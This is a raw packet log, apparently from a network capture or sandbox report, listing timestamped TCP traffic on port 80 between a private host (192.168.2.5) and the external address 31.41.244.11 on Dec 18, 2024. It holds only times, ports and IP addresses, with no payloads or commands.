Dec 18, 2024 19:08:49.083035946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.083096981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.087451935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.087508917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.087532043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.087560892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.091928005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.091975927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.091986895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.092015028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.096573114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.096617937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.096642017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.096684933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.100855112 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.100909948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.100924015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.100960016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.105345964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.105401993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.105406046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.105453014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.109822035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.109894037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.109936953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.109992027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.114293098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.114358902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.114365101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.114418030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.118768930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.118827105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.118901968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.118951082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.124236107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.124321938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.124325037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.124377012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.127827883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.127897024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.127932072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.127985954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.132204056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.132267952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.132275105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.132344007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.136993885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.137064934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.137079954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.137128115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.141242027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.141309977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.141349077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.141407013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.145639896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.145708084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.145775080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.145828009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.150161028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.150222063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.150233984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.150294065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.154702902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.154759884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.154802084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.154848099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.159276962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.159338951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.159487963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.159534931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.163670063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.163702011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.163739920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.163770914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.168083906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.168144941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.168163061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.168205023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.172602892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.172672987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.172674894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.172720909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.177102089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.177176952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.177195072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.177247047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.234230995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.234466076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.235831976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.235899925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.236066103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.236114025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.243383884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.243463039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.243545055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.243594885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.251036882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.251101971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.251185894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.251230001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.258339882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.258409977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.258836031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.258887053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.265923023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.265988111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.266154051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.266201019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.273166895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.273250103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.273283958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.273333073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.280700922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.280770063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.280798912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.280849934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.288090944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.288158894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.288300037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.288347006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.295567036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.295644045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.295703888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.295751095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.303178072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.303251982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.303303003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.303354979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.310581923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.310648918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.310698032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.310740948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.318021059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.318084002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.320323944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.320380926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.320466042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.320511103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.325016022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.325078964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.325126886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.325171947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.329685926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.329747915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.330080986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.330127001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.334367037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.334434986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.334512949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.334562063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.339057922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.339133024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.339158058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.339202881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.343679905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.343740940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.343797922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.343846083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.348442078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.348515034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.348521948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.348560095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.353070974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.353131056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.353816032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.353868008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.357877970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.357956886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.358007908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.358057022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.362401962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.362483978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.362951040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.363105059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.367043972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.367132902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.367252111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.367300034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.371783018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.371874094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.371979952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.372036934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.376441002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.376514912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.376535892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.376581907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.381256104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.381356001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.381439924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.385989904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.386049986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.386055946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.386101007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.390496969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.390554905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.390702963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.390749931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.395147085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.395222902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.395821095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.395864010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.399785042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.399841070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.400134087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.400175095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.404547930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.404603004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.404606104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.404640913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.409225941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.409296036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.409327030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.409365892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.413791895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.413841963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.414067030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.414108992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.418859005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.418874025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.418914080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.418941975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.423088074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.423140049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.423466921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.423516989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.427890062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.427948952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.427994967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.428033113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.432579994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.432638884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.433037996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.433083057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.437191010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.437246084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.437305927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.437342882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.441864014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.441939116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.442004919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.442048073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.446502924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.446568966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.446727037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.446774006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.451216936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.451240063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.451267004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.451293945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.455820084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.455889940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.455996990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.456036091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.460489988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.460561037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.460921049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.460964918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.465322018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.465411901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.465518951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.465567112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.469995022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.470082045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.470086098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.470124960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.474571943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.474666119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.475150108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.475208998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.479203939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.479279995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.479293108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.479322910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.483887911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.483968019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.483978033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.484015942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.488600969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.488693953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.488977909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.489023924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.493408918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.493493080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.493555069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.493598938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.497817039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.497909069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.498322964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.498414040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.502559900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.502603054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.502654076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.502681017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.507304907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.507360935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.508466005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.508548021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.511924028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.512021065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.512368917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.512423992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.516653061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.516673088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.516747952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.521385908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.521475077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.521709919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.521763086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.525939941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.526029110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.526077032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.526125908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.530589104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.530669928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.530679941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.530719042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.535382032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.535461903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.535767078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.535820961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.540168047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.540260077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.540324926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.540389061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.545110941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.545207977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.545295954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.545372009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.549235106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.549290895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.549854994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.549906015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.553900003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.553994894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.554557085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.554608107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.558998108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.559056997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.559514999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.559678078 CET	49739	80	192.168.2.5	31.41.244.11
